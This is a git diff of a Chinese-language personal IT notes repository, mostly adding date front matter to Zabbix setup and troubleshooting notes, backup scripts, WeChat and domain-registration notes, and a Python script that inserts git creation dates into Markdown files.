{k8s-node01:vfs.fs.size[/,free].forecast(1h,,10h)}<0 - -17. sum (sec|#num,) +15. forecast (sec|#num,\,time,,) 根据以往的值预测将来的值 + + - 根据1小时内的剩余磁盘大小数据预测10小时后的剩余磁盘大小,当预测值小于0时触发告警 {k8s-node01:vfs.fs.size[/,free].forecast(1h,,10h)}\<0 + +16. sum (sec|#num,\) + - 返回指定周期中收集到的值的总和 - + ## 高级示例 + 1. 如果表达式中的两个触发器表达式的结果大于 5,就会使触发器的状态变更为 PROBLEM 状态。 + ``` ({server1:system.cpu.load[all,avg1].last()}>5) + ({server2:system.cpu.load[all,avg1].last()}>5) + ({server3:system.cpu.load[all,avg1].last()}>5)>=2 -``` \ No newline at end of file +``` diff --git a/monitor/zabbix/zabbix-config.md b/monitor/zabbix/zabbix-config.md index 03965af..75ddfe2 100644 --- a/monitor/zabbix/zabbix-config.md +++ b/monitor/zabbix/zabbix-config.md @@ -1,7 +1,15 @@ +--- +created_date: 2020-11-16 +--- + +[TOC] + [TOC] - 参考文档 https://www.cnblogs.com/jjzd/p/7010214.html + ## zabbix的master + ```conf Server=XXX.XXX.XXX.XXX Hostname=XXX.XXX.XXX.XXX @@ -12,6 +20,7 @@ DBPassword=zabbix ``` ## zabbix的agent + ```conf # vim /etc/zabbix/zabbix_agentd.conf 更改 StartAgents=1 # 客户端agent模式,设置为0表示关闭被动模式,被监控端的 zabbix_agentd 不监听 @@ -34,4 +43,4 @@ RefreshActiveChecks=120 #主动模式下zabbix-agent到服务器获取监控 # 自定义监控项 UserParameter=item_name[*],$(shell) -``` \ No newline at end of file +``` diff --git a/monitor/zabbix/zabbix-install-3.4.md b/monitor/zabbix/zabbix-install-3.4.md index 591e397..1de72c7 100644 --- a/monitor/zabbix/zabbix-install-3.4.md +++ b/monitor/zabbix/zabbix-install-3.4.md @@ -1,12 +1,20 @@ +--- +created_date: 2020-11-16 +--- + [TOC] + ## centos安装zabbix服务 + - zabbix服务由3个组件组成 - + 数据库 - + zabbix后端程序 - + zabbix-web + - 数据库 + - zabbix后端程序 + - zabbix-web ### 一 安装数据库mariadb + 1. 安装 + ```bash yum -y install mariadb mariadb-server # 安装mysql-server @@ -22,7 +30,9 @@ systemctl enable mariadb # 设置密码 mysqladmin -u root -h localhost password XXXXXX ``` + 2. 配置MariaDB的字符集 + ```bash vi /etc/my.cnf # 在[mysqld]标签下添加 @@ -47,12 +57,17 @@ systemctl status mariadb show variables like "%character%"; show variables like "%collation%"; ``` + ### 二 安装zabbix后端程序 + - 在centos7下安装zabbix-server3.4或zabbix-proxy3.4,使用mysql-mariadb数据库 - 官方教程: https://www.zabbix.com/documentation/3.4/manual/installation/install_from_packages/rhel_centos + #### 二.A 安装zabbix-server + - 在centos7下安装zabbix-server3.4或者zabbix-proxy3.4,使用mysql-mariadb数据库 - 官方教程: https://www.zabbix.com/documentation/3.4/manual/installation/install_from_packages/rhel_centos + ```bash # 1 创建zabbix用户和数据库 mysql -uroot -pXXXXXX -e "create database zabbix character set utf8 collate utf8_bin;" @@ -77,7 +92,9 @@ systemctl enable zabbix-server systemctl start zabbix-server systemctl status zabbix-server ``` + #### 二.B 安装zabbix-proxy + ```bash # 1 创建zabbix用户和数据库 mysql -uroot -pXXXXXX -e "create database zabbix_proxy character set utf8 collate utf8_bin;" @@ -102,8 +119,11 @@ systemctl enable zabbix-proxy ystemctl start zabbix-proxy ystemctl status zabbix-proxy ``` -### 三 安装zabbix-web + +### 三 安装zabbix-web + 1. 安装 + ```bash # 1 安装 yum-config-manager --enable rhel-7-server-optional-rpms @@ -122,14 +142,17 @@ systemctl enable httpd systemctl start httpd systemctl status httpd ``` + 2. 打开网页 -http://IP/zabbix + http://IP/zabbix + - /etc/zabbix/web/zabbix.conf.php 被创建 - 默认管理员账号密码 Admin/zabbix -## 密码重置 +## 密码重置 + ```bash select userid,alias,passwd from users; echo -n admin | openssl md5 update users set passwd='21232f297a57a5a743894a0e4a801fc3' where userid = '1'; -``` \ No newline at end of file +``` diff --git a/monitor/zabbix/zabbix-install-5.0.md b/monitor/zabbix/zabbix-install-5.0.md index 2c63195..006c4ee 100644 --- a/monitor/zabbix/zabbix-install-5.0.md +++ b/monitor/zabbix/zabbix-install-5.0.md @@ -1,89 +1,109 @@ +--- +created_date: 2020-11-16 +--- + [TOC] ## Centos7安装Zabbix服务 + - 参考文档 - - https://www.zabbix.com/documentation/5.0/manual/installation/install_from_packages/rhel_centos - - https://www.zabbix.com/download?zabbix=5.0&os_distribution=centos&os_version=7&db=mysql&ws=nginx + + - https://www.zabbix.com/documentation/5.0/manual/installation/install_from_packages/rhel_centos + - https://www.zabbix.com/download?zabbix=5.0&os_distribution=centos&os_version=7&db=mysql&ws=nginx - zabbix服务由3个组件组成C - + 数据库 - + zabbix后端 - + zabbix前端 - + -- 其它信息 - - In Zabbix 4.4 support for Nginx was added + + - 数据库 + - zabbix后端 + - zabbix前端 + - + +- 其它信息 + + - In Zabbix 4.4 support for Nginx was added ### 一 安装数据库Mysql + 1. 需要安装mysql5.7+ - 1. 安装5.6导入zabbix数据库数据时报错 - ```log - ERROR 1071 (42000) at line 348: Specified key was too long; max key length is 767 bytes - ``` + + 1. 安装5.6导入zabbix数据库数据时报错 + + ```log + ERROR 1071 (42000) at line 348: Specified key was too long; max key length is 767 bytes + ``` 2. 创建zabbix数据库 - ```sql - mysql -uroot -p - password - mysql> create database zabbix character set utf8 collate utf8_bin; - mysql> create user zabbix@localhost identified by 'password'; - mysql> grant all privileges on zabbix.* to zabbix@localhost; - mysql> quit; - ``` + + ```sql + mysql -uroot -p + password + mysql> create database zabbix character set utf8 collate utf8_bin; + mysql> create user zabbix@localhost identified by 'password'; + mysql> grant all privileges on zabbix.* to zabbix@localhost; + mysql> quit; + ``` ### 二 安装Zabbix后端程序 + 1. 安装 - ```bash - # 配置源 - rpm -Uvh https://repo.zabbix.com/zabbix/5.0/rhel/7/x86_64/zabbix-release-5.0-1.el7.noarch.rpm - yum clean all - # 安装zabbix-server - yum install zabbix-server-mysql -y - # 导入数据库 - zcat /usr/share/doc/zabbix-server-mysql*/create.sql.gz | mysql -uzabbix -p zabbix - ``` + + ```bash + # 配置源 + rpm -Uvh https://repo.zabbix.com/zabbix/5.0/rhel/7/x86_64/zabbix-release-5.0-1.el7.noarch.rpm + yum clean all + # 安装zabbix-server + yum install zabbix-server-mysql -y + # 导入数据库 + zcat /usr/share/doc/zabbix-server-mysql*/create.sql.gz | mysql -uzabbix -p zabbix + ``` 2. 更改配置 - ```bash - # 添加数据库密码,如果未能成功连接数据库,启动时端口将不会被监听 - vim /etc/zabbix/zabbix_server.conf - DBPassword=zabbix - ``` + + ```bash + # 添加数据库密码,如果未能成功连接数据库,启动时端口将不会被监听 + vim /etc/zabbix/zabbix_server.conf + DBPassword=zabbix + ``` 3. 启动 - ``` - systemctl start zabbix-server - systemctl status zabbix-server - systemctl enable zabbix-server - ``` + ``` + systemctl start zabbix-server + systemctl status zabbix-server + systemctl enable zabbix-server + ``` ### 四 安装Zabbix前端程序 + 1. 安装php7.2+ 2. 更改php-fpm配置,满足Zabbix前端对php的配置要求 vim php.ini - ```conf - max_execution_time = 300 - max_input_time = 300 - post_max_size = 16M - date.timezone = Asia/Shanghai - extension=/opt/remi/php73/root/usr/lib64/php/modules/xmlreader.so - extension=/opt/remi/php73/root/usr/lib64/php/modules/xmlwriter.so - extension=/opt/remi/php73/root/usr/lib64/php/modules/ldap.so - ``` + ```conf + max_execution_time = 300 + max_input_time = 300 + post_max_size = 16M + date.timezone = Asia/Shanghai + + extension=/opt/remi/php73/root/usr/lib64/php/modules/xmlreader.so + extension=/opt/remi/php73/root/usr/lib64/php/modules/xmlwriter.so + extension=/opt/remi/php73/root/usr/lib64/php/modules/ldap.so + ``` -2. 安装Zabbix前端 - ```bash - yum install centos-release-scl -y +3. 安装Zabbix前端 - vim /etc/yum.repos.d/zabbix.repo and enable zabbix-frontend repository. + ```bash + yum install centos-release-scl -y - yum install zabbix-web-mysql-scl zabbix-nginx-conf-scl -y - ``` - -3. 安装nginx + vim /etc/yum.repos.d/zabbix.repo and enable zabbix-frontend repository. + + yum install zabbix-web-mysql-scl zabbix-nginx-conf-scl -y + ``` + +4. 安装nginx + +5. 配置nginx连接php - 参考 /etc/opt/rh/rh-nginx116/nginx/conf.d/zabbix.conf -4. 配置nginx连接php - 参考 /etc/opt/rh/rh-nginx116/nginx/conf.d/zabbix.conf ```conf server { listen 80; @@ -144,49 +164,56 @@ server { ``` - 5. 打开网页 - http://IP:PORT - 1. 配置数据库地址 - 2. 配置Zabbix server地址 - 3. 配置完成后将显示 Configuration file "/etc/zabbix/web/zabbix.conf.php" created. + 1. 配置数据库地址 + 2. 配置Zabbix server地址 + 3. 配置完成后将显示 Configuration file "/etc/zabbix/web/zabbix.conf.php" created. - 默认管理员账号密码 Admin/zabbix ### 五 密码重置 -1. + +1. + ```bash select userid,alias,passwd from users; echo -n admin | openssl md5 update users set passwd='21232f297a57a5a743894a0e4a801fc3' where userid = '1'; ``` + ## 容器方式安装 + - https://www.zabbix.com/documentation/5.0/manual/installation/containers docker方式 - https://github.com/zabbix/zabbix-docker docker-compose方式 ## 安装Zabbix-agent + ### 安装 - centos7 - ```bash - rpm -Uvh https://repo.zabbix.com/zabbix/5.4/rhel/7/x86_64/zabbix-release-5.4-1.el7.noarch.rpm && \ - yum clean all && \ - yum install zabbix-agent -y - ``` + + ```bash + rpm -Uvh https://repo.zabbix.com/zabbix/5.4/rhel/7/x86_64/zabbix-release-5.4-1.el7.noarch.rpm && \ + yum clean all && \ + yum install zabbix-agent -y + ``` - ubuntu20 - ```bash - wget https://repo.zabbix.com/zabbix/5.0/ubuntu/pool/main/z/zabbix-release/zabbix-release_5.0-1+focal_all.deb && \ - dpkg -i zabbix-release_5.0-1+focal_all.deb && \ - apt update && \ - apt install zabbix-agent2 -y - ``` + + ```bash + wget https://repo.zabbix.com/zabbix/5.0/ubuntu/pool/main/z/zabbix-release/zabbix-release_5.0-1+focal_all.deb && \ + dpkg -i zabbix-release_5.0-1+focal_all.deb && \ + apt update && \ + apt install zabbix-agent2 -y + ``` ### 更改配置 + - vim /etc/zabbix/zabbix_agentd.conf - vim /etc/zabbix/zabbix_agent2.conf + ```conf Server=127.0.0.1 # 与web端host配置的的接口地址对应 ServerActive=127.0.0.1 # 与web端host配置的的接口地址对应 Hostname=XXX # 与web端host配置的的Name对应 ``` - diff --git a/monitor/zabbix/zabbix-log.md b/monitor/zabbix/zabbix-log.md index 077cada..9e6c1b1 100644 --- a/monitor/zabbix/zabbix-log.md +++ b/monitor/zabbix/zabbix-log.md @@ -1,35 +1,49 @@ +--- +created_date: 2022-06-10 +--- + [TOC] ## 报错记录 + 1. 告警阶段触发器被disable + - 参考文档 https://blog.csdn.net/clm_sky/article/details/90489340 + ```txt 告警升级执行过程中,如果出现动作禁用、基于触发器的事件删除、触发器禁用或删除、触发器相关的主机或监控项禁用、监控项禁用或删除、主机禁用等情况时,正在发送中的信息和告警升级中配置的其他信息会被发送。只是后面发送的信息中会加上(NOTE: Escalation cancelled),比如说动作禁用时会在信息前加上NOTE: Escalation cancelled: action '' disabled,通过这种方法通知用户取消告警升级。取消的原因也可以通过设置Debug Level = 3从日志文件中查看。 ``` 2. 500 ,zabbix web 报错 - - /etc/httpd/logs/error_log - ```log - [Thu Jul 22 23:39:44.152344 2021] [:error] [pid 22975] [client 116.228.132.228:55395] PHP Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 77 bytes) in /usr/share/zabbix/include/classes/api/CRelationMap.php on line 104, referer: http://zabbix.abcrender.com/hostinventories.php?ddreset=1 - ``` - - - 更改 memory_limit 为 512M - /etc/httpd/conf.d/zabbix.conf - ```conf - php_value memory_limit 256M # PHP 单个脚本单次执行最大可用内存限制。默认限制为 256MB。 - ``` - - systemctl restart httpd + + - /etc/httpd/logs/error_log + + ```log + [Thu Jul 22 23:39:44.152344 2021] [:error] [pid 22975] [client 116.228.132.228:55395] PHP Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 77 bytes) in /usr/share/zabbix/include/classes/api/CRelationMap.php on line 104, referer: http://zabbix.abcrender.com/hostinventories.php?ddreset=1 + ``` + + - 更改 memory_limit 为 512M\ + /etc/httpd/conf.d/zabbix.conf + + ```conf + php_value memory_limit 256M # PHP 单个脚本单次执行最大可用内存限制。默认限制为 256MB。 + ``` + + - systemctl restart httpd 3. zabbix-agent2的异常日志 - - /var/log/zabbix/zabbix_agent2.log里的异常日志。不影响软件正常使用。 - ```log - 2022/06/01 16:57:48.542067 [101] active check configuration update from [101.43.98.179:10051] started to fail (Cannot read message: 'read tcp 117.148.141.247:57509->101.43.98.179:10051: i/o timeout') - ``` - - 无可奈何的解决方案: 注释掉/etc/zabbix/zabbix_agent2.conf里的ServerActive=,关闭主动模式. - - 方案: 更改配置,增加超时的时间 Timeout - - https://www.zabbix.com/forum/zabbix-troubleshooting-and-problems/417103-refreshactivechecks-i-o-timeout?view=stream + + - /var/log/zabbix/zabbix_agent2.log里的异常日志。不影响软件正常使用。 + + ```log + 2022/06/01 16:57:48.542067 [101] active check configuration update from [101.43.98.179:10051] started to fail (Cannot read message: 'read tcp 117.148.141.247:57509->101.43.98.179:10051: i/o timeout') + ``` + + - 无可奈何的解决方案: 注释掉/etc/zabbix/zabbix_agent2.conf里的ServerActive=,关闭主动模式. + - 方案: 更改配置,增加超时的时间 Timeout + - https://www.zabbix.com/forum/zabbix-troubleshooting-and-problems/417103-refreshactivechecks-i-o-timeout?view=stream 4. cannot send list of active checks to "XXX.XXX.XXX.XXX": host [XXX.XXX.XXX.XXX] not found - - zabbix server的web界面的主机里面的主机名称和agent里配置的Hostname不一致。 - - zabbix server已经不监控这台主机了,但这台主机的agent依然活着且向zabbix server发送监控数据。 - \ No newline at end of file + + - zabbix server的web界面的主机里面的主机名称和agent里配置的Hostname不一致。 + - zabbix server已经不监控这台主机了,但这台主机的agent依然活着且向zabbix server发送监控数据。 diff --git a/monitor/zabbix/zabbix-mysql-table.md b/monitor/zabbix/zabbix-mysql-table.md index a136a2c..fb5927f 100644 --- a/monitor/zabbix/zabbix-mysql-table.md +++ b/monitor/zabbix/zabbix-mysql-table.md @@ -1,3 +1,7 @@ +--- +created_date: 2020-11-16 +--- + [TOC] - 参考文档 @@ -8,44 +12,55 @@ 5. https://zabbix.org/wiki/Docs/DB_schema/3.4/triggers ## zabbix数据库表 + 1. hosts 表对应了主机或模板, - - interfaceid表示这个主机所对应的监控接口类型。 - - status为0表示active,1表示disable,3表示为Template。 + + - interfaceid表示这个主机所对应的监控接口类型。 + - status为0表示active,1表示disable,3表示为Template。 + 2. interface 表对应接口(Agent,SNMP,JMX,IPMI)。 + 3. items 表包含了所有主机所有模板的监控项。 - - status为0表示是启用状态。 - - templateid表示这个监控项来源于模板里的那个监控项。 + + - status为0表示是启用状态。 + - templateid表示这个监控项来源于模板里的那个监控项。 + 4. functions表 记录了trigger中使用的表达式 + 5. triggers表 - - templateid表示这个触发器来源于模板里的那个触发器。 - - expression字段示范:{functionid}<阈值;触发器表达式不能同时包含有模板和主机里的监控项,并且A模板上的触发器表达式不能包含非A模板上的监控项,当触发器同时包含两台主机的item时则这个triiger会同时出现在这两台主机上。 - - status字段为0表示active,1表示disable。 - - value为0表示OK,1表示Problem,2表示UNKNOWN。 - - priority为0表示Not classified,1表示Information,2表示Warning,3表示Average,4表示High,5表示Disaster。 - - garys的推测:flags=0是自定义的触发器,=2是触发器原型,=4是触发器原型生成的触发器。 + + - templateid表示这个触发器来源于模板里的那个触发器。 + - expression字段示范:{functionid}\<阈值;触发器表达式不能同时包含有模板和主机里的监控项,并且A模板上的触发器表达式不能包含非A模板上的监控项,当触发器同时包含两台主机的item时则这个triiger会同时出现在这两台主机上。 + - status字段为0表示active,1表示disable。 + - value为0表示OK,1表示Problem,2表示UNKNOWN。 + - priority为0表示Not classified,1表示Information,2表示Warning,3表示Average,4表示High,5表示Disaster。 + - garys的推测:flags=0是自定义的触发器,=2是触发器原型,=4是触发器原型生成的触发器。 + 6. events表 - - source字段表示event是由什么生成的。0代表triiger,1代表discovery rule,2代表 agent auto-registration,3代表internal。(触发器事件、自动发现事件、自动注册事件、内部事件) - + 触发器事件:触器状态发生变化时。 - + 自动注册事件:agent自动注册进server时。 - + 自动发现事件: - ``` - Service Up – 每当zabbix检测到active service - Service Down – 每当zabbix检测不到service - Host Up – 目标IP,至少有一个service是UP - Host Down – 所有的services都没响应. - Service Discovered – service在维护时间之后恢复或者第一次被发现 - Service Lost – service在up之后丢失了 - Host Discovered -主机在维护时间之后恢复或者第一次被发现 - Host Lost – 主机在up之后丢失. - ``` - + 内部事件: - - 监控项item状态从normal变为unsupported,或者从unsupported变为normal - - low-level发现规则状态从normal变为unsupported,或者从unsupported变为normal - - 触发器状态从normal变为unknown,或者从unknown转为normal - + + - source字段表示event是由什么生成的。0代表triiger,1代表discovery rule,2代表 agent auto-registration,3代表internal。(触发器事件、自动发现事件、自动注册事件、内部事件) + - 触发器事件:触器状态发生变化时。 + - 自动注册事件:agent自动注册进server时。 + - 自动发现事件: + ``` + Service Up – 每当zabbix检测到active service + Service Down – 每当zabbix检测不到service + Host Up – 目标IP,至少有一个service是UP + Host Down – 所有的services都没响应. + Service Discovered – service在维护时间之后恢复或者第一次被发现 + Service Lost – service在up之后丢失了 + Host Discovered -主机在维护时间之后恢复或者第一次被发现 + Host Lost – 主机在up之后丢失. + ``` + - 内部事件: + - 监控项item状态从normal变为unsupported,或者从unsupported变为normal + - low-level发现规则状态从normal变为unsupported,或者从unsupported变为normal + - 触发器状态从normal变为unknown,或者从unknown转为normal + 7. hosts表和items表关联,items表和functions表关联,functions表和triigers表关联,trigger表和evetns表关联。 ## 监控项整理sql语句 + ```sql -- 1. 获取所有的模板名 select hostid, host as 'Template name', name as 'Visible name' from hosts where status=3; @@ -79,6 +94,7 @@ ${sql} into outfile '/tmp/test.xls'; ``` ## 监控项整理语sql脚本 + ```bash HOST=127.0.0.1 USER=root @@ -109,4 +125,4 @@ for ((i=0; i<${#allTemplateId[@]}; i++));do mysql ${connect} -e"${getItemSql}${hostid}))" > "${name}".xls done } -``` \ No newline at end of file +``` diff --git a/monitor/zabbix/zabbix-template.md b/monitor/zabbix/zabbix-template.md index f659c27..8370e33 100644 --- a/monitor/zabbix/zabbix-template.md +++ b/monitor/zabbix/zabbix-template.md @@ -1,22 +1,30 @@ +--- +created_date: 2022-06-12 +--- + [TOC] - 记录zabbix监控模版修改 ## Template Module Linux network interfaces by Zabbix agent active + 1. 更改以下监控项原型 interval 为10s 1. Interface {#IFNAME}: Bits received 2. Interface {#IFNAME}: Bits sent ## Template Module Linux block devices by Zabbix agent active + 1. 添加监控项原型 interval 为30s 1. {#DEVNAME}: Disk kB_read 2. {#DEVNAME}: Disk kB_write 3. {#DEVNAME}: Disk tps ## Template Module Linux CPU by Zabbix agent active + 1. 更改以下监控项 interval 为10s 1. CPU idle time ## Template Module Linux memory by Zabbix agent active + 1. 更改以下监控项 interval 为10s - 1. Available memory in % \ No newline at end of file + 1. Available memory in % diff --git a/monitor/zabbix/zabbix.md b/monitor/zabbix/zabbix.md index cd63f7c..5bf4921 100644 --- a/monitor/zabbix/zabbix.md +++ b/monitor/zabbix/zabbix.md @@ -1,13 +1,21 @@ +--- +created_date: 2020-11-16 +--- + +[TOC] + ## 宏 + - https://www.zabbix.com/documentation/3.4/zh/manual/config/macros - https://www.zabbix.com/documentation/3.4/manual/appendix/macros/supported_by_location - https://www.cnblogs.com/skyflask/p/7523535.html +## 自动发现 -## 自动发现 - Discovery rule 1. 写脚本返回json格式的数据 + ```json {"data":[{"{#custom_name}":"value1"},{"{#custom_name}":"value12"}]} ``` @@ -15,6 +23,7 @@ 2. 在web界面配置Discovery rule 3. 在web界面配置Item prototypes - - 可以使用Discovery rule里返回的变量 item_name_{#custom_name}[参数1, ${custom_name}] -3. 在web界面配置Trigger prototypes \ No newline at end of file + - 可以使用Discovery rule里返回的变量 item_name\_{#custom_name}[参数1, ${custom_name}] + +4. 在web界面配置Trigger prototypes diff --git a/record/cellphone.md b/record/cellphone.md index db656d6..eb4ac9c 100644 --- a/record/cellphone.md +++ b/record/cellphone.md @@ -1,6 +1,13 @@ +--- +created_date: 2024-11-19 +--- + +[TOC] + ## airmirrir & airdroid + - 官网 https://www.airdroid.com/ - 参考教程 - 1. 用iOS设备远程控制安卓设备 https://zhuanlan.zhihu.com/p/502302496 - 2. airdroid 获取root权限,远程控制工具 https://www.airdroid.cn/download/ - 3. 免Root操作 https://zhuanlan.zhihu.com/p/610098282 \ No newline at end of file + 1. 用iOS设备远程控制安卓设备 https://zhuanlan.zhihu.com/p/502302496 + 2. airdroid 获取root权限,远程控制工具 https://www.airdroid.cn/download/ + 3. 免Root操作 https://zhuanlan.zhihu.com/p/610098282 diff --git a/record/domain.md b/record/domain.md new file mode 100644 index 0000000..5e14494 --- /dev/null +++ b/record/domain.md @@ -0,0 +1,20 @@ +## 中国大陆域名备案 + +1. ICP备案由工业和信息化部(工信部)管理,而公安网安备案则由公安机关负责管理。这是最根本的区别。 +2. ICP备案主要解决网站运营资质问题,区分经营性与非经营性服务,确保信息传播的合法性。而公安网安备案则更注重网站内容安全监管,目的是防止非法网站经营活动,打击不良信息传播。 +3. ICP备案需要提供营业执照/身份证、域名证书、服务器托管协议等;而公安网安备案需要填写《备案表》、网站安全评估报告、负责人身份证复印件等。 +4. ICP备案号格式为"省简称+ICP备+序列号"(如"京ICP备12345678号"),而公安网安备案号格式为"省简称+公网安备+序列号"(如"京公网安备110000000001号")。 +5. ICP备案约需20个工作日,公安网安备案约需7个工作日。 + +| **维度** | **ICP备案** | **公安网安备案** | +| :------------- | :----------------------------------------- | :----------------------------------------------------------- | +| **主管部门** | 工业和信息化部(工信部) | 公安部及地方网安部门 | +| **法律依据** | 《互联网信息服务管理办法》 | 《计算机信息网络国际联网安全保护管理办法》(公安部令第33号) | +| **核心目的** | 审核网站运营资质,区分经营性与非经营性服务 | 监管网站内容合法性,防范网络犯罪和有害信息传播 | +| **适用对象** | 所有境内服务器托管的网站(含个人/企业) | 同ICP备案范围,且需在ICP备案后办理 | +| **备案顺序** | 需优先办理 | 需在ICP备案通过后、网站开通30日内完成 | +| **办理平台** | 通过服务器商(如阿里云/腾讯云)提交 | 全国互联网安全管理服务平台([https://beian.mps.gov.cn)](https://beian.mps.gov.cn)/) | +| **备案材料** | 营业执照/身份证、域名证书、服务器协议 | 《备案表》签字件、安全评估报告、负责人身份证 | +| **审核周期** | 约20个工作日 | 约7个工作日 | +| **备案号样式** | 例:京ICP备12345678号 | 例:京公网安备110000000001号 | +| **未备案后果** | 警告→关闭网站 | 警告→停机整顿≤6个月 | diff --git a/record/wechat.md b/record/wechat.md index 9892dee..e259cc5 100644 --- a/record/wechat.md +++ b/record/wechat.md @@ -1,16 +1,25 @@ +--- +created_date: 2022-12-13 +--- + +[TOC] + - 公众号接入微信企业提供的人工智能 + - https://openai.weixin.qq.com/ - https://github.com/wechaty/wechaty-weixin-openai - 参考 http://t.zoukankan.com/juemuren4449-p-12382809.html -- 后台如何接入微信公众号 - - https://help.weimengcms.com/html/admin/article/154.html - - https://www.liaoxuefeng.com/article/929799249853600 +- 后台如何接入微信公众号 + - https://help.weimengcms.com/html/admin/article/154.html + - https://www.liaoxuefeng.com/article/929799249853600 ## 微信接入openai + - https://github.com/fuergaosi233/wechat-chatgpt + ```bash image_version=0.0.3 docker run -d --name wechat-chatgpt -v $(pwd)/config.yaml:/app/config.yaml holegots/wechat-chatgpt:${image_version} -``` \ No newline at end of file +``` diff --git a/scripts/autoWeb/READ.md b/scripts/autoWeb/READ.md index 4851f87..3d4897d 100644 --- a/scripts/autoWeb/READ.md +++ b/scripts/autoWeb/READ.md @@ -1 +1,7 @@ -https://developer.github.com/webhooks/ \ No newline at end of file +--- +created_date: 2020-11-16 +--- + +[TOC] + +https://developer.github.com/webhooks/ diff --git a/scripts/backup-data.md b/scripts/backup-data.md index 4291b27..6047de5 100644 --- a/scripts/backup-data.md +++ b/scripts/backup-data.md @@ -1,4 +1,11 @@ +--- +created_date: 2020-11-16 +--- + +[TOC] + ### etcd minio redis + ```bash #!/bin/bash set -x @@ -65,7 +72,9 @@ cd /opt/backups/ scp ${filename} ${remote} rm -f ${old_filename} ``` + ### log backup + ```bash #!/bin/bash set -x @@ -81,4 +90,4 @@ cd /opt/export-logs/project-prd && gzip k8s-25.11-`date -d '-2 day' +%Y-%m-%d`.l #rsync rsync -avrzP /opt/export-logs/project-prd/k8s-25.11-`date -d '-2 day' +%Y-%m-%d`.log.gz root@XXX.XXX.XXX.XXX::logbackup/ --password-file=/etc/rsync.password -``` \ No newline at end of file +``` diff --git a/scripts/format_head.py b/scripts/format_head.py new file mode 100644 index 0000000..d47f12a --- /dev/null +++ b/scripts/format_head.py @@ -0,0 +1,141 @@ +# pip install colorama + +import os +import subprocess +import re +import datetime +import argparse +from colorama import init, Fore, Style + +# 初始化 colorama(支持 Windows 和 macOS 终端) +init(autoreset=True) + +def get_git_creation_time(file_path, repo_root): + """使用 Git 获取文件的首次提交时间(跨平台兼容)。""" + try: + result = subprocess.run( + ['git', 'log', '--follow', '--format=%aI', '--reverse', '--', file_path], + capture_output=True, + text=True, + encoding='utf-8', + cwd=repo_root, + check=True + ) + lines = result.stdout.strip().split('\n') + if lines and lines[0]: + creation_time = datetime.datetime.fromisoformat(lines[0]).strftime('%Y-%m-%d') + return creation_time + else: + print(f"No Git history found for {file_path}") + return None + except subprocess.CalledProcessError as e: + print(f"Error running Git command for {file_path}: {e}") + return None + except Exception as e: + print(f"Error processing {file_path}: {e}") + return None + +def has_yaml_frontmatter(content): + """检查文件是否已有 YAML 前端元数据(--- 开头和结尾)。""" + return bool(re.match(r'---\n.*?\n---\n', content, re.DOTALL)) + +def update_md_file(file_path, creation_time): + """将 Git 首次提交时间写入 Markdown 文件头部,插入 [TOC] 到 YAML 后,并移除其他 [TOC]。""" + try: + # 读取文件内容 + with open(file_path, 'r', encoding='utf-8') as f: + content = f.read() + + # 移除文件中所有 [TOC] + content = re.sub(r'^\[TOC\]\n*', '', content, flags=re.MULTILINE) + + # 准备新的头部内容(包含 [TOC]) + new_frontmatter = f"---\ncreated_date: {creation_time}\n---\n\n[TOC]\n\n" + + # 检查是否已有 YAML 前端元数据 + if has_yaml_frontmatter(content): + # 如果已有 YAML,检查是否包含 created_date + if 'created_date:' in content: + print(f"Skipping {file_path}: already has created_date") + return + else: + # 在现有 YAML 后添加 created_date 和 [TOC] + content = re.sub( + r'---\n(.*?)\n---\n', + f'---\n\\1\ncreated_date: {creation_time}\n---\n\n[TOC]\n\n', + content, + flags=re.DOTALL + ) + else: + # 如果没有 YAML,添加新的前端元数据和 [TOC] + content = new_frontmatter + content + + # 写回文件 + with open(file_path, 'w', encoding='utf-8') as f: + f.write(content) + print(f"{Fore.GREEN}Updated {file_path} with Git creation time: {creation_time} and inserted [TOC]{Style.RESET_ALL}") + + except Exception as e: + print(f"Error updating {file_path}: {e}") + +def process_md_files(folder_path, target_subdirs=None): + """ + 遍历文件夹,处理 .md 文件,只处理指定子文件夹(若提供)。 + folder_path: Git 仓库根目录路径 + target_subdirs: 指定处理的子文件夹列表(如 ['blockchain']),None 表示所有文件夹 + """ + if not os.path.isdir(folder_path): + print(f"Error: {folder_path} is not a valid directory") + return + + # 检查是否为 Git 仓库 + if not os.path.isdir(os.path.join(folder_path, '.git')): + print(f"Error: {folder_path} is not a Git repository") + return + + # 规范化 target_subdirs + if target_subdirs: + target_subdirs = [os.path.normpath(subdir) for subdir in target_subdirs] + else: + target_subdirs = [] + + # 遍历文件夹 + for root, _, files in os.walk(folder_path): + rel_root = os.path.relpath(root, folder_path) + if target_subdirs and not any(rel_root.startswith(subdir) for subdir in target_subdirs): + continue + + for file in files: + if file.lower().endswith('.md'): + file_path = os.path.join(root, file) + rel_path = os.path.relpath(file_path, folder_path) + creation_time = get_git_creation_time(rel_path, folder_path) + if creation_time: + update_md_file(file_path, creation_time) + +def main(): + # 设置命令行参数解析 + parser = argparse.ArgumentParser(description="Process Markdown files to add Git creation time and [TOC].") + parser.add_argument( + '--repo', + type=str, + default=os.path.join(os.path.dirname(__file__), '..', '..', 'ITNote'), + help="Path to the Git repository (default: ../../ITNote)" + ) + parser.add_argument( + '--subdirs', + nargs='*', + default=[], + help="Subdirectories to process (default: all directories)" + ) + args = parser.parse_args() + + # 规范化 Git 仓库路径 + folder_path = os.path.abspath(args.repo) + + print(f"Processing Markdown files in {folder_path}") + process_md_files(folder_path, args.subdirs) + print("Processing complete") + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/scripts/multi-linux-ssh-init.md b/scripts/multi-linux-ssh-init.md index 71722b4..e8a8ffd 100644 --- a/scripts/multi-linux-ssh-init.md +++ b/scripts/multi-linux-ssh-init.md @@ -1,3 +1,9 @@ +--- +created_date: 2020-11-16 +--- + +[TOC] + ```bash #!/bin/bash @@ -28,4 +34,4 @@ for ip in ${ip_arrays[@]} ;do done } init -``` \ No newline at end of file +``` diff --git a/secure/attack.md b/secure/attack.md index 0d385f5..3c0408b 100644 --- a/secure/attack.md +++ b/secure/attack.md @@ -1,56 +1,73 @@ +--- +created_date: 2025-01-02 +--- + +[TOC] + # 常见的攻击方法 -1. KeyLogger 键盘监听 -2. DDOS Attack (Distributed Denal of Service) -3. Waterhole Attack 水坑式攻击 -4. Fake WAP 虚假网页 -5. Eavesdropping 网络窃听 -6. Phishing 网络钓鱼 -7. Virus 病毒 -8. Clicjjacking 点击劫持 -9. Cookie theft 窃取Cookie + +01. KeyLogger 键盘监听 +02. DDOS 